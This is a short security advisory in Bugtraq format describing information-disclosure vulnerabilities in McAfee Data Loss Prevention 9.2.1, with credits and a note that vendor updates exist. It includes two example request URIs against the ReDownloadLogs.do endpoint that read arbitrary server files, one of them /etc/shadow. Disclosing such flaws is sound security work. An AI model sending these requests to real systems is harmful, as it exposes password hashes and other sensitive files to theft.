McAfee Data Loss Prevention Multiple Information Disclosure Vulnerabilities

Bugtraq ID:	61033
Class:	Design Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 24 2013 12:00AM
Updated:	Jun 24 2013 12:00AM
Credit:	Jamie Ooi, Graeme Bell
Vulnerable:
Not Vulnerable:

McAfee Data Loss Prevention Multiple Information Disclosure Vulnerabilities

McAfee Data Loss Prevention is prone to multiple information-disclosure vulnerabilities.

Attackers can exploit these issues to disclose contents of arbitrary files and obtain sensitive information. This may aid in launching further attacks.

McAfee Data Loss Prevention 9.2.1 is vulnerable; prior versions may also be affected.

McAfee Data Loss Prevention Multiple Information Disclosure Vulnerabilities

The following example URIs are available:

https://www.example.com/ReDownloadLogs.do?filepath=/etc&filename=shadow&cmdName=false

https://www.example.com/ReDownloadLogs.do?filepath=/etc&filename=syslog.conf&cmdName=false

McAfee Data Loss Prevention Multiple Information Disclosure Vulnerabilities

Solution:
Updates are available. Please see the references or vendor advisory for more information.

McAfee Data Loss Prevention Multiple Information Disclosure Vulnerabilities

References: